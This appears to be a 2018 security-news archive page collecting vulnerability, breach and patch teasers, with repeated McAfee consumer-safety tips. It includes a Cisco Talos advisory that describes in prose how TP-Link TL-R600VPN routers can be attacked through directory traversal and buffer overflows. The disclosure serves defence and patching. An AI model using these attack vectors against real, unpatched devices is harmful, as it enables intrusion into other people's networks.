Category Archives: Vulnerability

Microsoft December Patch Tuesday Addresses Nine Critical Vulnerabilities Including A Zero-Day

This week, Microsoft has rolled out the last scheduled updates for this year. Nonetheless, it again has released a fix

Microsoft December Patch Tuesday Addresses Nine Critical Vulnerabilities Including A Zero-Day on Latest Hacking News.

Attackers increasingly exploiting vulnerabilities to enlarge their IoT botnets

Attackers looking to add IoT devices to their botnets are increasingly adding vulnerability exploitation to their attack arsenal, Netscout researchers warn. Instead on just relying on a list of common or default passwords or brute-forcing attacks, they are taking advantage of the fact that IoT devices are rarely updated and manufacturers take a lot of time to push out fixes for known flaws. Currently under exploitation In November 2018, the company detected many exploitation attempts … More

The post Attackers increasingly exploiting vulnerabilities to enlarge their IoT botnets appeared first on Help Net Security.

Google+ Shut Down Date Dragged Earlier Due to Another Massive Breach

A couple of months ago, Google announced they will sunset their product Google Plus. The reasons behind this harsh decision

Google+ Shut Down Date Dragged Earlier Due to Another Massive Breach on Latest Hacking News.

Update now! Microsoft and Adobe’s December 2018 Patch Tuesday is here

If you find patching security flaws strangely satisfying, you’re in luck - Microsoft’s and Adobe’s December Patch Tuesdays have arrived with plenty for the dedicated updater to get stuck into.

An critical bug in Microsoft left 400M accounts exposed

By Waqas

A bug bounty hunter from India, Sahad Nk who works forSafetyDetective, a cybersecurity firm, has received a reward from Microsoft for uncovering and reporting a series of critical vulnerabilities in Microsoft accounts. These vulnerabilities were present on users’ Microsoft accounts from MS Office files to Outlook emails. This means, all kinds of accounts (over 400 […]

This is a post from HackRead.com Read the original post: An critical bug in Microsoft left 400M accounts exposed

Encrypted Messaging Apps Vulnerable To Side-Channel Attacks Including WhatsApp, Telegram, and Signal!

WhatsApp, Signal, and Telegram have all been around for a while. Though a lot of instant messaging apps were already

Encrypted Messaging Apps Vulnerable To Side-Channel Attacks Including WhatsApp, Telegram, and Signal! on Latest Hacking News.

Adobe’s Year-End Update Patches 87 Flaws in Acrobat Software

Adobe is closing out this year with its December Patch Tuesday update to address a massive number of security vulnerabilities for just its two PDF apps—more than double the number of what Microsoft patched this month for its several products. Adobe today released patches for 87 vulnerabilities affecting its Acrobat and Reader software products for both macOS and Windows operating systems, of

Microsoft Issues Patch for Windows Zero-Day Flaw Under Active Attack

Microsoft today, on its year-end December Patch Tuesday, released security updates to patch a total 39 vulnerabilities its Windows operating systems and applications—10 of which are rated as critical and other important in severity. One of the security vulnerabilities patched by the tech giant this month is listed as publicly known at the time of release, and one is a zero-day reported as being

phpMyAdmin Releases Critical Software Update — Patch Your Sites Now!

Developers of phpMyAdmin, one of the most popular and widely used MySQL database management systems, today released an updated version 4.8.4 of its software to patch several important vulnerabilities that could eventually allow remote attackers to take control of the affected web servers. The phpMyAdmin project last Sunday gave an early heads-up about the latest security update through its

Another API bug spurs Google to ditch consumer Google+ sooner than planned

Google has unearthed another Google+ API bug, which prompted it to accelerate the sunsetting of all Google+APIs and that of the consumer version of Google+. The API bug The bug was introduced in November through a software update and was discovered as part of the company’s ongoing testing procedures. “No third party compromised our systems, and we have no evidence that the app developers that inadvertently had this access for six days were aware of … More

The post Another API bug spurs Google to ditch consumer Google+ sooner than planned appeared first on Help Net Security.

Google Plus hit by another breach – Data of 52.5M users exposed

By Waqas

Google Plus has been hit by yet another bug forcing the company to shut down the social media site earlier than previously anticipated. In October this year, Google revealed that a bug was present in the API for the consumer version of Google Plus (Google+) that allowed third-party developers to access data of not just over 500,000 users but also […]

This is a post from HackRead.com Read the original post: Google Plus hit by another breach – Data of 52.5M users exposed

Toyota’s PASTA- A car hacking tool to enhance automobile cybersecurity

By Waqas

A team of security researchers working for the renowned automobile maker Toyota have developed a new car hacking tool. Dubbed as PASTA (Portable Automotive Security Testbed), it is an open source tool created to help researchers identify the prevailing vulnerabilities in modern vehicles. The team presented their research at the BLACKHAT EUROPE 2018, London, where […]

This is a post from HackRead.com Read the original post: Toyota’s PASTA- A car hacking tool to enhance automobile cybersecurity

SplitSpectre – New Spectre-like Vulnerability Ready To Hit CPUs

While the chaotic Spectre vulnerability keeps coming back, another vulnerability has now come up to trouble users. Termed SplitSpectre, the

SplitSpectre – New Spectre-like Vulnerability Ready To Hit CPUs on Latest Hacking News.

Zero-Day Flash Player Vulnerability Fixed After Being Exploited In the Wild

Adobe has once again patched a serious flaw in the Flash Player that has been exploited in the wild. This

Zero-Day Flash Player Vulnerability Fixed After Being Exploited In the Wild on Latest Hacking News.

Yoast SEO 9.1 Vulnerability Could Allow Command Execution

A few days ago, a researcher discovered a serious security flaw in Yoast plugin. This Yoast SEO 9.1 Vulnerability could

Yoast SEO 9.1 Vulnerability Could Allow Command Execution on Latest Hacking News.

Another MongoDB database exposes personal data of 66M users

By Waqas

Another day, another data breach – This time, the IT security researcher at HackenProof have discovered a massive trove of personal data of over 66 million users exposed online due to an unprotected MongoDB database. In October and November 2018, HackenProof’s security researcher Bob Diachenko identified several unprotected MongoDB instances believed to be hosted by a […]

This is a post from HackRead.com Read the original post: Another MongoDB database exposes personal data of 66M users

Warning! Unprivileged Linux Users With UID > INT_MAX Can Execute Any Command

Hold tight, this may blow your mind… A low-privileged user account on most Linux operating systems with UID value anything greater than 2147483647 can execute any systemctl command unauthorizedly—thanks to a newly discovered vulnerability. The reported vulnerability actually resides in PolicyKit (also known as polkit)—an application-level toolkit for Unix-like operating systems that defines

Critical Kubernetes privilege escalation flaw patched, update ASAP!

A critical privilege escalation vulnerability affecting the popular open source cluster management and container orchestration software Kubernetes has been patched on Monday. The project maintainers are urging users to update their installations as soon as possible, since the flaw can be easily exploited remotely by unauthenticated attackers to gain access to vulnerable Kubernetes clusters and the applications and data within them. About the vulnerability (CVE-2018-1002105) CVE-2018-1002105 affects the Kubernetes API server – more specifically, its … More

The post Critical Kubernetes privilege escalation flaw patched, update ASAP! appeared first on Help Net Security.

Critical Vulnerability Uncovered In Kubernetes

The first major security flaw has been uncovered in Kubernetes, the popular container orchestration system developed by Google. The vulnerability, identified as CVE-2018-1002105, carries a critical CVSS V3 rating of 9.8 due to low attack complexity, requiring no special privileges, and a network attack vector. The vulnerability is triggered when specially crafted requests allow users […]… Read More

The post Critical Vulnerability Uncovered In Kubernetes appeared first on The State of Security.

IBM Db2 Vulnerabilities Left IBM Database Installations At Risk Of Hacks

IBM patched a couple of serious vulnerabilities in the previous week in their Db2 database installations. These IBM Db2 vulnerabilities

IBM Db2 Vulnerabilities Left IBM Database Installations At Risk Of Hacks on Latest Hacking News.

PewDiePie Fan Hacks 50,000 Printers to Keep the Channel No.1

In a recent effort to earn more subscribers for Felix Kjellberg’s channel ‘Pewdiepie’, a self-proclaimed Pewdiepie fan hacked over 50,000

PewDiePie Fan Hacks 50,000 Printers to Keep the Channel No.1 on Latest Hacking News.

Private data of more than 82 million US citizens left exposed

By Uzair Amir

Misconfigured ElasticSearch Servers Exposed Private Data of over 82 Million Users. A warning has been issued by Bob Diachenko, a HackenProof security researcher informing users in the US that around 73 gigabytes of data is identified in a “regular security audit” of publicly accessible servers on the Shodan IoT search engine. According to the researcher, […]

This is a post from HackRead.com Read the original post: Private data of more than 82 million US citizens left exposed

Vulnerability discovered in safety controller configuration software

Gjoko Krstic, an Applied Risk researcher, has discovered a vulnerability in Pilz PNOZmulti Configurator software that allows a local attacker to read sensitive data in clear-text. The software is used to configure safety controllers, providing the user with the ability to modify elements such as IP addresses, download and upload project files and run other setup functions. The tool can be found on engineering workstations which are used to configure safety controllers. The software is … More

The post Vulnerability discovered in safety controller configuration software appeared first on Help Net Security.

Sennheiser Headphones Vulnerability Could Allow HTTPS Site Spoofing

Sennheiser has recently patched a serious vulnerability in its headphone software. As discovered by the researchers, the vulnerability could allow

Sennheiser Headphones Vulnerability Could Allow HTTPS Site Spoofing on Latest Hacking News.

Hackers Could Exploit A Zoom App Vulnerability To Disrupt Conferences

The customers of Zoom conferencing app need to update their apps at the earliest to protect themselves from hackers. As

Hackers Could Exploit A Zoom App Vulnerability To Disrupt Conferences on Latest Hacking News.

Another Zero-Day Vulnerability Hits NUUO Surveillance Cameras

A couple of months ago, a zero-day vulnerability, named Peekaboo, threatened NUUO surveillance cameras. The vulnerability could allow an attacker

Another Zero-Day Vulnerability Hits NUUO Surveillance Cameras on Latest Hacking News.

Manipulating Digital Mammograms Via Artificial Intelligence May Cause Misdiagnosis

Mammography has been a critical procedure for diagnosing breast cancer. Yet, at the same time, the exposure to radiations has

Manipulating Digital Mammograms Via Artificial Intelligence May Cause Misdiagnosis on Latest Hacking News.

Marriott hotel data breach: Sensitive data of 500 million guests stolen

By Waqas

Marriott has announced that it has suffered a massive data breach after attackers hacked its guest reservation system at Starwood hotels, a group of hotels the company took over in 2016 – These hotels include Sheraton, St. Regis, Westin and W Hotels. The breach was discovered last week after Marriott’s internal security tool alerted the company regarding an attempt to access the […]

This is a post from HackRead.com Read the original post: Marriott hotel data breach: Sensitive data of 500 million guests stolen

EternalSilence – New Variant Of UPnProxy Exploit Discovered Affecting 45,000 Routers

Earlier this year, Akamai researchers discovered a UPnProxy attack targeting thousands of routers. Now, after so many months, they have found

EternalSilence – New Variant Of UPnProxy Exploit Discovered Affecting 45,000 Routers on Latest Hacking News.

Synthetic Fingerprints Make Biometric/Fingerprint Recognition Systems Vulnerable

From smartphone lock systems to identity verification, people consider fingerprint scans a viable method of security. However, scientists have figured

Synthetic Fingerprints Make Biometric/Fingerprint Recognition Systems Vulnerable on Latest Hacking News.

McAfee Blogs: 8 Ways to Secure Your Family’s Online Holiday Shopping

It’s officially the most wonderful time of the year — no doubt about it. But each year, as our reliance and agility on our mobile devices increases, so too might our impulsivity and even inattention when it comes to digital transactions.

Before getting caught up in the whirlwind of gift giving and the thrill of the perfect purchase, consider taking a small pause. Stop to consider that as giddy as you may be to find that perfect gift, hackers are just as giddy this time of year to catch shoppers unaware and snatch what they can from the deep, digital holiday coffers. In fact, according to the FBI’s Internet Crime Complaint Center, the number one cybercrime of 2017 was related to online shopping; specifically, payment for or non-delivery of goods purchased.

8 Ways to Secure Your Family’s Holiday Shopping Online

  1. Make it a family discussion. Make no assumptions when it comes to what your kids do and do not understand (and practice) when it comes to shopping safely online. Go over the points below as a family. Because kids are nearly 100% mobile, online shopping and transactions can move swiftly, and the chances of making a mistake or falling prey to a scam can increase. Caution kids to slow down and examine every website and link in the buying journey.
  2. Beware of malicious links. The most common forms of fraud and cyber attacks are phishing scams and socially-engineered malware. Check links before you click them and consider using McAfee® WebAdvisor, a free download that safeguards you from malware and phishing attempts while you surf — without impacting your browsing performance.
  3. Don’t shop on unsecured wi-fi. Most public networks don’t encrypt transmitted data, which makes all your online activity on public wi-fi vulnerable to hackers. Resist shopping on an unsecured wireless network (at a coffee shop, library, airport). Instead, do all of your online shopping from your secure home computer. If you have to conduct transactions on a public Wi-Fi connection use a virtual private network (VPN) such as McAfee® SafeConnect to maintain a secure connection in public places. To be sure your home network is safe, secure your router.
  4. Is that site legit? Before purchasing a product online, check the URL carefully. If the address bar says “HTTP” instead of “HTTPS” in its URL, do not purchase from the site. As of July 2018, unsecured sites now include a “Not Secure” warning, which is very helpful to shoppers. Also, an icon of a locked padlock will appear to the left of the URL in the address bar or the status bar down below depending on your browser. Cybercriminals can make a fake site look very close to the real thing. One added step: Google the site if anything feels wrong about it, and you may find some unlucky consumers sharing their stories.
  5. Review bills closely. Review your credit card statements in January and February, when your holiday purchases will show up. Credit cards offer better fraud protection than debit. So, if you’re shopping online during the holidays, give yourself an extra layer of protection from scams by using a credit card. Think about using the same card between family members to make checking your bill easier.
  6. Create new, strong passwords. If you are getting ready to do a lot of shopping online, it’s a great time to update your passwords. Download a free password manager, which auto-saves and enters your passwords, so you don’t have to. The True Key app protects your passwords by scrambling them with AES-256, one of the most robust encryption algorithms available.
  7. Verify charities. One of the best things about the holidays is the spirit of giving. Hackers and crooks know this and are working hard to trick innocent givers. This reality means that some seasonal charities may be well-devised scams. Before you donate, be sure to do a little research. Look at the website’s URL; it’s design, its security badges. Google the charity and see if any scams have been reported.
  8. Protect your data from third parties. Sites may contain “third parties,” which are other embedded websites your browser talks to such as advertisers, website analytics engines, that can watch your browsing behavior. To protect your data when shopping and get rid of third-party access, you need to wipe your cookies (data trackers) clean using your settings, then change your browser settings (choose “block third-party cookies and site data”) to make sure the cookies can’t track your buying behavior. You can also go into your settings and direct your browser to shop in private or incognito mode.

No one is immune to holiday scams. Many scams are intricately designed and executed so that even the savviest consumer is duped. You can enjoy the shopping that comes with the holidays by keeping these few safety precautions in mind. Don’t let your emotional desire for that perfect gift override your reasoning skills. Listen to your intuition when it comes to suspicious websites, offers, emails, pop-up ads, and apps. Pause. Analyze. And make sure you are purchasing from a legitimate site.

Stay safe and WIN: Now that you’ve read about safe shopping basics, head over to our Protect What Matters site. If you successfully complete the Holiday Online Shopping Adventure quiz, you can enter your email address for the chance to win a tech prize pack with some of this season’s hottest smart gadgets. Have fun, and stay safe online this holiday season!

 

The post 8 Ways to Secure Your Family’s Online Holiday Shopping appeared first on McAfee Blogs.



McAfee Blogs

8 Ways to Secure Your Family’s Online Holiday Shopping

It’s officially the most wonderful time of the year — no doubt about it. But each year, as our reliance and agility on our mobile devices increases, so too might our impulsivity and even inattention when it comes to digital transactions.

Before getting caught up in the whirlwind of gift giving and the thrill of the perfect purchase, consider taking a small pause. Stop to consider that as giddy as you may be to find that perfect gift, hackers are just as giddy this time of year to catch shoppers unaware and snatch what they can from the deep, digital holiday coffers. In fact, according to the FBI’s Internet Crime Complaint Center, the number one cybercrime of 2017 was related to online shopping; specifically, payment for or non-delivery of goods purchased.

8 Ways to Secure Your Family’s Holiday Shopping Online

  1. Make it a family discussion. Make no assumptions when it comes to what your kids do and do not understand (and practice) when it comes to shopping safely online. Go over the points below as a family. Because kids are nearly 100% mobile, online shopping and transactions can move swiftly, and the chances of making a mistake or falling prey to a scam can increase. Caution kids to slow down and examine every website and link in the buying journey.
  2. Beware of malicious links. The most common forms of fraud and cyber attacks are phishing scams and socially-engineered malware. Check links before you click them and consider using McAfee® WebAdvisor, a free download that safeguards you from malware and phishing attempts while you surf — without impacting your browsing performance.
  3. Don’t shop on unsecured wi-fi. Most public networks don’t encrypt transmitted data, which makes all your online activity on public wi-fi vulnerable to hackers. Resist shopping on an unsecured wireless network (at a coffee shop, library, airport). Instead, do all of your online shopping from your secure home computer. If you have to conduct transactions on a public Wi-Fi connection use a virtual private network (VPN) such as McAfee® SafeConnect to maintain a secure connection in public places. To be sure your home network is safe, secure your router.
  4. Is that site legit? Before purchasing a product online, check the URL carefully. If the address bar says “HTTP” instead of “HTTPS” in its URL, do not purchase from the site. As of July 2018, unsecured sites now include a “Not Secure” warning, which is very helpful to shoppers. Also, an icon of a locked padlock will appear to the left of the URL in the address bar or the status bar down below depending on your browser. Cybercriminals can make a fake site look very close to the real thing. One added step: Google the site if anything feels wrong about it, and you may find some unlucky consumers sharing their stories.
  5. Review bills closely. Review your credit card statements in January and February, when your holiday purchases will show up. Credit cards offer better fraud protection than debit. So, if you’re shopping online during the holidays, give yourself an extra layer of protection from scams by using a credit card. Think about using the same card between family members to make checking your bill easier.
  6. Create new, strong passwords. If you are getting ready to do a lot of shopping online, it’s a great time to update your passwords. Download a free password manager, which auto-saves and enters your passwords, so you don’t have to. The True Key app protects your passwords by scrambling them with AES-256, one of the most robust encryption algorithms available.
  7. Verify charities. One of the best things about the holidays is the spirit of giving. Hackers and crooks know this and are working hard to trick innocent givers. This reality means that some seasonal charities may be well-devised scams. Before you donate, be sure to do a little research. Look at the website’s URL; it’s design, its security badges. Google the charity and see if any scams have been reported.
  8. Protect your data from third parties. Sites may contain “third parties,” which are other embedded websites your browser talks to such as advertisers, website analytics engines, that can watch your browsing behavior. To protect your data when shopping and get rid of third-party access, you need to wipe your cookies (data trackers) clean using your settings, then change your browser settings (choose “block third-party cookies and site data”) to make sure the cookies can’t track your buying behavior. You can also go into your settings and direct your browser to shop in private or incognito mode.

No one is immune to holiday scams. Many scams are intricately designed and executed so that even the savviest consumer is duped. You can enjoy the shopping that comes with the holidays by keeping these few safety precautions in mind. Don’t let your emotional desire for that perfect gift override your reasoning skills. Listen to your intuition when it comes to suspicious websites, offers, emails, pop-up ads, and apps. Pause. Analyze. And make sure you are purchasing from a legitimate site.

Stay safe and WIN: Now that you’ve read about safe shopping basics, head over to our Protect What Matters site. If you successfully complete the Holiday Online Shopping Adventure quiz, you can enter your email address for the chance to win a tech prize pack with some of this season’s hottest smart gadgets. Have fun, and stay safe online this holiday season!

 

The post 8 Ways to Secure Your Family’s Online Holiday Shopping appeared first on McAfee Blogs.

Frustrated Fallout 76 Player Cursed With Permanent God Mode Due To A Bug

Game glitches, particularly those inadvertently endowing benefits to the players are usually loved. For instance, the bug in the Red

Frustrated Fallout 76 Player Cursed With Permanent God Mode Due To A Bug on Latest Hacking News.

Apache Hadoop YARN NodeManager Daemon Falls Prey To Zip Slip Vulnerability

A few months ago, researchers discovered the Zip Slip vulnerability that could trigger remote code execution attacks. As disclosed at

Apache Hadoop YARN NodeManager Daemon Falls Prey To Zip Slip Vulnerability on Latest Hacking News.

VMWare Patched Critical Vulnerability In Workstation And Fusion

Recently, VMware patched critical vulnerability affecting its Workstation and Fusion software. The bug could allegedly allow an attacker to execute

VMWare Patched Critical Vulnerability In Workstation And Fusion on Latest Hacking News.

Ethereum Vulnerability Allowed Minting GasToken To Sweep Crypto Exchanges

A recently discovered Ethereum vulnerability could have allowed hackers to drain a huge amount of money from crypto exchanges. The

Ethereum Vulnerability Allowed Minting GasToken To Sweep Crypto Exchanges on Latest Hacking News.

Bug Bounty: Earn $40,000 for hacking Facebook, Instagram or WhatsApp

By Waqas

Facebook has launched a new bug bounty program inviting hackers to identify and report vulnerabilities in its website and applications. The social network has increased payouts and offers researchers to look for vulnerabilities in a wide variety of products owned by Facebook including Instagram, WhatsApp, and Oculus. The company will only consider reports that can lead […]

This is a post from HackRead.com Read the original post: Bug Bounty: Earn $40,000 for hacking Facebook, Instagram or WhatsApp

Adobe Patched A Critical Flash Player Vulnerability Disclosed Publicly

Adobe Flash Player vulnerabilities and their subsequent patches are no surprise to us. Once again, Adobe has patched a critical

Adobe Patched A Critical Flash Player Vulnerability Disclosed Publicly on Latest Hacking News.

Facebook And Instagram Went Down Due To A Server Bug

Facebook makes it into the news once again for troubling users globally. Supposedly, Facebook users have faced trouble with Instagram

Facebook And Instagram Went Down Due To A Server Bug on Latest Hacking News.

How Just Opening A Site In Safari Could Have Hacked Your Apple macOS

Earlier this week Dropbox team unveiled details of three critical vulnerabilities in Apple macOS operating system, which altogether could allow a remote attacker to execute malicious code on a targeted Mac computer just by convincing a victim into visiting a malicious web page. The reported vulnerabilities were originally discovered by Syndis, a cybersecurity firm hired by Dropbox to conduct

Adobe plugs critical RCE Flash Player flaw, update ASAP! Exploitation may be imminent

Adobe has released a Flash Player update that plugs a critical vulnerability (CVE-2018-15981) that could lead to remote code execution, and is urging users to implement it as soon as possible. The flaw affects Flash Player 31.0.0.148 and earlier versions on Windows, macOS, Linux and Chrome OS, and details about it are already publicly available, the company warned. About CVE-2018-15981 CVE-2018-15981 was discovered and publicly disclosed by researcher Gil Dabah last week. “The interpreter code … More

The post Adobe plugs critical RCE Flash Player flaw, update ASAP! Exploitation may be imminent appeared first on Help Net Security.

3 New Code Execution Flaws Discovered in Atlantis Word Processor

This is why you should always think twice before opening innocent looking email attachments, especially word and pdf files. Cybersecurity researchers at Cisco Talos have once again discovered multiple critical security vulnerabilities in the Atlantis Word Processor that allow remote attackers to execute arbitrary code and take over affected computers. An alternative to Microsoft Word,

“Classic” bugs open TP-Link’s SafeStream Gigabit Broadband VPN Router to attack

Cisco Talos researchers have flagged four serious vulnerabilities in TP-Link’s SafeStream Gigabit Broadband VPN Router (TL-R600VPN). All four affect the device’s HTTP server, and can lead to denial of service, information disclosure, and remote code execution. About the vulnerabilities The flaws affect TP-Link TL-R600VPN, hardware versions 2 and 3. Numbered CVE-2018-3948 and CVE-2018-3949, respectively, the flaws that can be exploited for DoS and information disclosure can be triggered via an unauthenticated web request and a … More

The post “Classic” bugs open TP-Link’s SafeStream Gigabit Broadband VPN Router to attack appeared first on Help Net Security.

Instagram Patched A Data Download Tool Bug That Exposed Users Passwords

Instagram seems to have followed its parent company as it endured another major problem affecting user accounts. Reportedly, Instagram has

Instagram Patched A Data Download Tool Bug That Exposed Users Passwords on Latest Hacking News.

6500 sites down after hackers wipe out database of dark web hosting firm

By Waqas

Daniel’s Hosting, one of the largest hosting service providers on Dark Web has come under a massive cyber attack forcing its website along with over 6,500 websites hosted on its server to go offline but the damage is way more than that. The hosting administrator, a German software developer Daniel Winzen has acknowledged the attack and stated […]

This is a post from HackRead.com Read the original post: 6500 sites down after hackers wipe out database of dark web hosting firm

Vulnerability Spotlight: Multiple remote vulnerabilities in TP-Link TL-R600VPN


Vulnerabilities discovered by Jared Rittle of Cisco Talos.

Cisco Talos is disclosing multiple vulnerabilities in the TP-Link TL-R600VPN router. TP-Link produces a number of different types of small and home office (SOHO) routers. Talos discovered several bugs in this particular router model that could lead to remote code execution.

Overview


There are two root causes of the vulnerabilities: a lack of input sanitisation and parsing errors. The lack of proper input sanitisation leads the vulnerabilities TALOS-2018-0617/18, which can be exploited without authentication. Parsing errors are responsible for the vulnerabilities TALOS-2018-0619/20. However, these can only be exploited with an authenticated session. The remote code execution is done under the context of HTTPD However, since the HTTPD process is running under root, an attacker can run code with elevated privileges.

All vulnerabilities were found on HWv3 FRNv1.3.0 and HWv2 FRNv1.2.3, except for TALOS 2018-0620, which was found only on HWv3 FRNv1.3.0.

TALOS-2018-0617 — TP-Link TL-R600VPN HTTP denial of service


An exploitable denial-of-service vulnerability exists in the URI-parsing function of the TP-Link TL-R600VPN HTTP server. If a directory traversal is attempted on any of the vulnerable pages (help, images, frames, dynaform, localization) and the requested page is a directory instead of a file, the web server will enter an infinite loop, making the management portal unavailable. This request doesn't need to be authenticated.

CVE: CVE-2018-3948

A full technical advisory is available here.

TALOS-2018-0618 — TP-Link TL-R600VPN HTTP server information disclosure


An exploitable information disclosure vulnerability exists in the HTTP server functionality of the TP-Link TL-R600VPN. A directory traversal vulnerability exists in the TP-Link TL-R600VPN in both authenticated and unauthenticated forms. If a standard directory traversal is used with a base page of 'help,' the traversal does not require authentication and can read any file on the system.

CVE: CVE-2018-3949

A full technical advisory is available here.

TALOS-2018-0619 — TP-Link TL-R600VPN HTTP server ping address remote code execution


An exploitable remote code execution vulnerability exists in the ping and traceroute functions of the TP-Link TL-R600VPN HTTP server. The router does not check the size of the data passed to its 'ping_addr' field when performing a ping operation. By sending a large amount of data to this field, an attacker could cause a stack-based buffer overflow, leading to remote code execution or a simple crash of the device's HTTP server. An attacker would need to be in an authenticated session to trigger this vulnerability.

CVE: CVE-2018-3950

A full technical advisory is available here.

TALOS-2018-0620 — TP-Link TL-R600VPN HTTP server fs directory remote code execution


An exploitable remote code execution vulnerability exists in the HTTP header-parsing function of the TP-Link TL-R600VPN HTTP server. A specially crafted HTTP request can cause a buffer overflow, resulting in remote code execution on the device. During this process, the server calculates the length of the user-controlled HTTP header buffer and adds the value to the input buffer offset. This creates an overflow condition when the router processes a longer-than-expected GET request. An attacker needs to be authenticated to be able to trigger this vulnerability.

CVE: CVE-2018-3951

A full technical advisory is available here.

Discussion


Over the past year, Talos has disclosed various vulnerabilities in internet-of-things (IoT) devices and SOHO routers. These are just the latest example that these pieces of equipment are not only vulnerable, they also lack the generic operating systems protections that mitigate vulnerabilities like buffer overflows. Fortunately in the case of TL-R600VPN routers, the critical vulnerabilities that lead remote code execution need authentication. However, the code could be executed with root privileges.


Coverage


The following Snort IDs have been released to detect these vulnerabilities:

Helping researchers with IoT firmware vulnerability discovery

John Toterhi, a security researcher with IoT security company Finite State, believes that many of the security problems plaguing IoT devices are solvable problems through transparency. “Manufacturers who make their firmware public and follow GPL practices are doing themselves a huge favor: by making firmware public, manufacturers are enabling a world-wide network of the best security talent to find bugs, disclose them responsibly, and improve security for their customers. Without this transparency they exclude so … More

The post Helping researchers with IoT firmware vulnerability discovery appeared first on Help Net Security.

Hackers May Exploit Microsoft PowerPoint For Malware Attacks

Microsoft Office tools, particularly, the Word, Excel, and PowerPoint, have always enticed criminal hackers due to their popularity among the

Hackers May Exploit Microsoft PowerPoint For Malware Attacks on Latest Hacking News.

An iPhone X Vulnerability Allows Hackers To Access Deleted Pictures

Recently, two researchers have demonstrated how an iPhone X vulnerability that could allow an attacker to access deleted pictures. iPhone

An iPhone X Vulnerability Allows Hackers To Access Deleted Pictures on Latest Hacking News.

Children’s Smartwatch Vulnerability Allows Hackers To Stalk and Talk To Your Kids

Child-tracking smartwatches provide a convenient means of monitoring a child’s safety for parents. However, if the devices have security flaws,

Children’s Smartwatch Vulnerability Allows Hackers To Stalk and Talk To Your Kids on Latest Hacking News.

Gmail “From field” bug makes phishing attacks easier for hackers

By Waqas

Gmail, as we know, is a popular and commonly preferred email platform around the world. That’s why any news about a bug in this platform is bound to create chaos among users. And, that’s exactly the case this time. Software developer Tim Cotten has discovered a bug Gmail’s ‘From:’ header structure that can allow the […]

This is a post from HackRead.com Read the original post: Gmail “From field” bug makes phishing attacks easier for hackers

Adobe Patch Tuesday November Fixed Multiple Information Disclosure Vulnerabilities

This week, Adobe released its monthly scheduled update bundle addressing vulnerabilities within its different products. The Adobe patch Tuesday November

Adobe Patch Tuesday November Fixed Multiple Information Disclosure Vulnerabilities on Latest Hacking News.

Don’t Get PWNed by Fake Gaming Currency Sites

If you’re a gamer, you know how important virtual currency is. It allows you to purchase new costumes and weapons to personalize your avatar. But how does one go about gaining virtual currency? Players complete in-game challenges and are rewarded with coins to spend in their virtual world. These challenges can be pretty difficult and time-consuming to complete. As a result, many players look to various websites as an easier way to download more gaming currency. Unfortunately, malicious actors are taking advantage of this trend to scam gamers into downloading malware or PUPs (potentially unwanted programs).

There are a variety of techniques scammers use to trick players into utilizing their malicious sites. The first is fake chat rooms. Scammers will set up seemingly legitimate chat rooms where users can post comments or ask questions. What users don’t know is that a bot is actually answering their inquiries automatically. Scammers also ask these victims for “human interaction” by prompting them to enter their personal information via surveys to complete the currency download. What’s more – the message will show a countdown to create a sense of urgency for the user.

These scammers also use additional techniques to make their sites believable, including fake Facebook comments and “live” recent activity updates. The comments and recent activity shown are actually hard-coded into the scam site, giving the appearance that other players are receiving free gaming currency.

These tactics, along with a handful of others, encourage gamers to use the scam sites so cybercriminals can distribute their malicious PUPs or malware. So, with such deceptive sites existing around the internet, the next question is – what can players do to protect themselves from these scammers? Check out the following tips to avoid this cyberthreat:

  • Exercise caution when clicking on links. If a site for virtual currency is asking you to enter your username, password, or financial information, chances are the website is untrustworthy. Remember, when in doubt, always err on the side of caution and avoid giving your information to a site you’re not 100% sure of.
  • Put the chat room to the test. To determine if a chat site is fake, ask the same question a few times. If you notice the same response, it is likely a phony website.
  • Do a Google search of the Facebook comments. An easy way to check if the Facebook comments that appear on a site are legitimate is to copy and paste them into Google. If you see a lot of similar websites come up with the same comments in the description, this is a good indication that it is a scam site.
  • Use security software to surf the web safely. Products like McAfee WebAdvisor can help block gamers from accessing the malicious sites mentioned in this blog.

And, as always, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Don’t Get PWNed by Fake Gaming Currency Sites appeared first on McAfee Blogs.

McAfee Blogs: Don’t Get PWNed by Fake Gaming Currency Sites

If you’re a gamer, you know how important virtual currency is. It allows you to purchase new costumes and weapons to personalize your avatar. But how does one go about gaining virtual currency? Players complete in-game challenges and are rewarded with coins to spend in their virtual world. These challenges can be pretty difficult and time-consuming to complete. As a result, many players look to various websites as an easier way to download more gaming currency. Unfortunately, malicious actors are taking advantage of this trend to scam gamers into downloading malware or PUPs (potentially unwanted programs).

There are a variety of techniques scammers use to trick players into utilizing their malicious sites. The first is fake chat rooms. Scammers will set up seemingly legitimate chat rooms where users can post comments or ask questions. What users don’t know is that a bot is actually answering their inquiries automatically. Scammers also ask these victims for “human interaction” by prompting them to enter their personal information via surveys to complete the currency download. What’s more – the message will show a countdown to create a sense of urgency for the user.

These scammers also use additional techniques to make their sites believable, including fake Facebook comments and “live” recent activity updates. The comments and recent activity shown are actually hard-coded into the scam site, giving the appearance that other players are receiving free gaming currency.

These tactics, along with a handful of others, encourage gamers to use the scam sites so cybercriminals can distribute their malicious PUPs or malware. So, with such deceptive sites existing around the internet, the next question is – what can players do to protect themselves from these scammers? Check out the following tips to avoid this cyberthreat:

  • Exercise caution when clicking on links. If a site for virtual currency is asking you to enter your username, password, or financial information, chances are the website is untrustworthy. Remember, when in doubt, always err on the side of caution and avoid giving your information to a site you’re not 100% sure of.
  • Put the chat room to the test. To determine if a chat site is fake, ask the same question a few times. If you notice the same response, it is likely a phony website.
  • Do a Google search of the Facebook comments. An easy way to check if the Facebook comments that appear on a site are legitimate is to copy and paste them into Google. If you see a lot of similar websites come up with the same comments in the description, this is a good indication that it is a scam site.
  • Use security software to surf the web safely. Products like McAfee WebAdvisor can help block gamers from accessing the malicious sites mentioned in this blog.

And, as always, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Don’t Get PWNed by Fake Gaming Currency Sites appeared first on McAfee Blogs.



McAfee Blogs

iPhone X, Xiaomi Mi 6 & Samsung Galaxy S9 hacked at Pwn2Own

By Waqas

White hat hackers and IT security researchers have once again proved their elite skills at Pwn2Own 2018 after exposing critical security vulnerabilities in products developed by popular vendors like Apple, Samsung, and Xiaomi. Pwn2Own is organized by cybersecurity giant Trend Micro’s Zero Day Initiative in Tokyo where hackers took part in exploiting zero-day flaws in products developed by […]

